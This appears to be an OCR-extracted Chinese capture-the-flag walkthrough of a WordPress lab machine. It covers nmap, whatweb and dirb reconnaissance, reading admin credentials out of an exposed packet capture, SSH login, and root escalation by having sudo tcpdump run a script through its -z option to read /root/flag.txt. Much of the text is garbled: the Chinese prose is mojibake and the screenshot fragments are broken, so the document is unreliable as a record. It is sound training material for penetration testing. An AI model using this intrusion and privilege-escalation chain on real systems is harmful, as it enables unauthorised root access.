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(1) BN (Jeopardy) FEMEMKACTFREST, SHRMET LB ERNEZERZMESE, ZIMEAKCTFREES
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1.nmapf #
SeHnmapA—EME, EERGAFEEEN, XERBEARHS TR,

Nmap

Host is up (¢

MAC Address: D
Nmap scan report
Host is up )
MAC Address:

Nmap scan r
Host is up

MAC Address:

Host is up (¢

MAC Address:

Nmap scan report for

Host is up.

Nmap done: addresses ( ) scanned in 2 seconds
rootdkal :

rooti

X EIRATE LLE BIEEHLAF BT 223 D AI80%; H, 22 H4#4t T sshik4y, 80uh H IR ALH Zhttp R %
XERMNTBEMA IR 2804 M .

Nma 2 t for 192. :
Host is up (@.00046s latency).
Not shown: 998 closed ports
PORT STATE ¢ CE
22/tcp open
/tcp open
MAC Address: @@:€ 0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.3
rootgkali:~# i

EABAIENIE B A5 IF R T httoiR 35, B UASRATFI A B S8 BE N BARMSG, BE BEAH 4K,



OCTOBER 30, 2018 BEY WEEDEVELOPER

Hello world! Search... ﬂ

Welcome to WordPress. This is your first post. Edit or deleteit, then

ye RECENT POSTS
start writing!

Hello world!

RECENT COMMENTS
One Reply to “Hello world!”

A WordPress Commenter on Hello world!

@ A WordPress Commenter

OCTOBER 30, 2018 AT 9:04 AM ARCHIVES

Hi, this is a comment. October 2018
To get started with moderating, editing, and deleting comments, please visit the
Comments screen in the dashboard.

Commenter avatars come from Gravatar.
— CATEGORIES

“ Reply
Uncategorized @ PO EHY R

Leave a Reply META

2. whatwebi& #il

MET—TFTMHE, FEERIMTLERRERT. EERATH kali 1 whatweb 3F— T BAaMus, B3 THEHKES R, Bk
) 3l 2 Y s s P I CMIS R i ——WordPress4.9.8

Nmap done: 1 IP ad
Jkali:~# whatwe |
OK] Apache[2.4.29], Country[RESERVED][ ], HTML
5, HTTPServer[ 1L 1, IP[1 1, 3

Query[1.12.4], MetaGenerator[WordPress 4. 1, PoweredBy[WordPress,WordPres
5,1, Script[ vascript], TitlelExample sit #8211; Just another WordP

UncommonHeaders[link], WordPress[4.¢

Apache?2

3. DirbiE

RIGEAIA Dirb SRR — T Wb B %.



GENERATED WORDS: 4612

Scanning URL: http://192.168. [ . ./

!/index.php (CODE:301|SIZE:0)

JSipdata/
ver-status (CODE:4@83|SIZE:303)

> DIRECTORY: http:/ ?.168. | 2 /wp-admin/
s DIRECTORY: http://192.168.° Jwp-content/

> DIRECTORY ttp:/ 2.168. . 2/wp-includes/
+ http://192. . i xmlrpc.php (CODE:4@5|SIZE:42)

XEBRMNKE -, UFEMNZREGX. TREE.

Index of /ipdata
Name Last modified Size Description
¥ Parent Directory -
@ analyze.cap 2018-10-30 09:14 2.8M
Apache/2.4.29 (Ubuntu) Server at 192.168. °~ ~ ~ Port 80
4. wireshark4 tr

R —AcapIctt, RETRBMAERIEEWNRE, FH FRMwiresharkiT 7.



Source Destination Protocal Lengtt Info

i

10. Tp-LinkT_dd:3e:T4 Broadcast ARP has 192.168.1.2227 Tell 192.168.1.1

2 3.314392 PcsCompu_74:17:d4 Broadcast ARP 68 Who has 192.168.1.1767 Tell 192.168.1.222

3 3.314432 PcsCompu_1d:4d:48 PcsCompu_74:17:d4 ARP 42 192.168.1.176 is at 08:00:27:1d:4d: 40

4 3.314569 192.168.1.222 192.168.1.176 TCP 74 49530 ~ 80 [SYN] Seq=0 Win=29200 Len—8 MS5=1460 SACK_PERM=1 TSval-54369214 TSecr=0 WS=128
5 3.314593 192.168.1.176 192.168.1.222 TCP 74 80 — 49530 [SYN, ACK] Seq=@ Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=1478098379 TSecr=54369214 WS=128
6 3.314698 192.168.1.222 192.168.1.176 TCP 66 49530 ~ 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=54369214 TSecr=1478898379

7 3.314859 192.168.1.222 192.168.1.176 HTTP 379 GET / HTTP/1.1

8 3.314888 192.168.1.176 192.168.1.222 TCP 66 80 — 49530 [ACK] Seq=1 Ack=314 Win=30080 Len=0 TSval=1478098379 TSecr=54369215

9 3.315858 192.168.1.176 192.168.1.222 HTTP 3543 HTTP/1.1 280 OK (text/html)

10 3.316758 192.168.1.222 192.168.1.176 TCP 66 49530 - 80 [ACK] Seq=314 Ack=3478 Win=36224 Len=0 TSval=54369216 TSecr=1478098380

11 3.426604 192.168.1.222 192.168.1.176 HTTP 342 GET /icons/ubuntu-logo.png HTTP/1.1

12 3.426907 192.168.1.176 192.168.1.222 HTTP 3689 HTTP/1.1 200 OK (PNG)

13 3.427135 192.168.1.222 192.168.1.176 TCP 66 49530 -~ 80 [ACK] Seq=-590 Ack=7161 Win=43528 Len=0 TSval-54369327 TSecr=1478098491

14 3.455604 192.168.1.222 192.168.1.176 HTTP 360 GET /favicon.ico HTTP/1.1

15 3.455845 192.168.1.176 192.168.1.222 HTTP 570 HTTP/1.1 484 Not Found (text/html})

16 3.457884 192.168.1.222 192.168.1.176 HTTP 308 GET /favicon.ico HTTP/1.1

17 3.458219 192.168.1.222 192.168.1.176 TCP 66 49530 ~ 80 [FIN, ACK] Seq=1118 Ack=7605 Win=46336 Len=0 TSval=54369358 TSecr=1478098520
18 3.458327 192.168.1.176 192.168.1.222 HTTP 578 HTTP/1.1 484 Not Found (text/html)

19 3. 192, 2 192. alal ] 0 49530 - 80 [RST] Seq=1119 Win=0 Len=0

28 8.478041 PcsCompu_1d:4d: 48 PcsCompu_74:17:d4 ARP 42 Who has 192.168.1.2227 Tell 192.168.1.176

21 8.470744 PcsCompu_74:17:d4 PcsCompu_1d:4d:48 ARP 60 192.168.1.222 is at 08:00:27:74:17:d4

v Frame 1: 6@ bytes on wire (488 bits), 6@ bytes captured (480 bits)
» Ethernet II, Src: Tp-LinkT_dd:3e:f4 (1@:fe:ed:dd:3e:T4), Dst: Broadcast (ff:ff:ff:fT:TF:7T)
» Address Resolution Protocol (reguest)

B2 —KEHER, WAIER AT, RBATELE B NIRREHREI S R, EEFEEH2HKIRIR.

VARNING: Directory IS LISTABLE. No need to
(Use mode "-w" if you want to scan it any

Lost your password?

RI—~admin, ITHREE.



You are now logged out.

Username or Email Address

Password

D Remember Me

Lost your password?

+ Back to Example site

R—AERFE, MEBERA T admin, ATLEEIXAMRMEESERTE, ERIA MR EEERARKRIIKSH
.

[i | http.request. method==POST <—

No. Time Source Destination Protocal Lengtt Info

p
665 123.135136 192.168.1.222 192.168.1.176 HTTP 1815 POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 (application/X-www-Torm-urlencoded)

» Frame 188: 799 bytes on wire (6392 bits), 799 bytes captured (6392 bits)

v Ethernet II, Src: PgsCompu_74:17:d4 (08:00:27:74:17:d4), Dst: PcsCompu_1d:4d:40 (08:00:27:1d:4d:40)
v Internet Protocol V@rsion 4, Src: 192.168.1.222, Dst: 192.168.1.176

v Transmission Control Protecol, Src Port: 49558, Dst Port: 80, Seq: 1, Ack: 1, Len: 733

~ HTML Form URL Encodedl: applicationsx-www-form-urlencoded
Form item: "log" = "webdeveloper"

-

v Form item: "pwd" = "TeSeQg&4sBS!YrE)wf%(DcAd"
» Form item: "wp-subl§t" =
3 H

Form item:

BRT—T, AR T —AKSEH, KAFRIREMES.



Screen Options ¥ Help ¥

@ Dashboard
WordPress 5.5.3 is available! Please update now.

Home
S Dashboard
# Po:
ehi : . . © Dismiss
09 Media A new, modern publishing experience is coming soon.
Take your words, media, and layout in new directions with Gutenberg, the WordPress editor we're currently building.
B Page
1/ @ Test the new editor today. Not quite ready?
A Appearance @ You can take Gutenberg for a spin (and share your feedback, if you'd like) The new editor will be enabled by default in the next major release of
PP before we officially release it, by installing it as a plugin. You can help by WordPress. I you're not sure how compatible your current themes and
& Plugins @ testing, filing bugs, or contributing on the GitHub repository. plugins are, we've got you covered. Install the Classic Editor plugin to
keep using the current editor until you're ready to make the switch,
& l
& Tools
[ Setting: ~
£¥ ReFlex 0
0 ¢

9o J

Install the Classic Editor

BRI
5. F F ¥ T $2 AL

L RIA KT RATFE T ZCMS KA S, FERBIMAAEB R, FreABRNAHZRFEETRR. B RBIERGZ
B Efe—A—HiERS.

WordPress 5.5.3 is available! Please update now.

B Media Add Plugins | uploadplugin

If you have a plugin in a .zip format, you may install it by uploading it here.

& Plugins @

Browse... No file selected.
Add New 1
& Tools
Featured Popular Recommended Favorites Keyword ~
1] in

Plugins extend and expand the functionality of WeordPress. You may automatically install plugins from the WordPress Plugin Directory or upload a plugin in .zip format by clicking the button at the top of this page.

€ Collapse m An unexpected error occurred. Semething may be wrong with WordPress.org or this server's configuration. If you continue to have problems, please try the support forums

Try Again

Popular tags
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EETEE C |attack
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JESE il PHP v
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webdeveloper@webdeveloper: ~

XHH(F) ShiE(A) RIB(E) ZEH(V) HEI(H)

W reloper@l9oz. 168. . .'s password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux &.

Documentation: help.ubuntu.com
Management: ://landscape i
Support:

ystem information as o
159

1
h@: 192.168.

Pi to DC.

23R B F/root/flag.txt

:~% cat /
rmission denied
-:~% whoami

5 -
g.txt
sudo
loper:
is not allowed to e:

BEE R,
3 FtcpdumpHATAEE A4S (YtocpdumpiE IR B BB R ESHATIREM 4. )
BE YR ST PATHHS .

$ sudo -1

[sudo] pas rd for oper:
Matching Defaults entries for

fusr/bin’

run the following commands on webdeveloper:
tcpdump

RILET Phrooth IR $147 tcpdump iy 4
BB W



touch /tmp/exploitl

5 Ashellcode

echo 'cat /root/flag.txt' > /tmp/exploit

T T AT $RAT AR

chmod +x /tmp/exploit

F FtcpdumpPATIEE 4

sudo tcpdump -i eth® -w /dev/null -W 1 -G 1 -z /tmp/exploit

FKBflag! 1 L1

tsudo] pas
dropped p
tcpdump: 1i

-Z root

/tmp ploit

(/null -W 1 -G 1 -z
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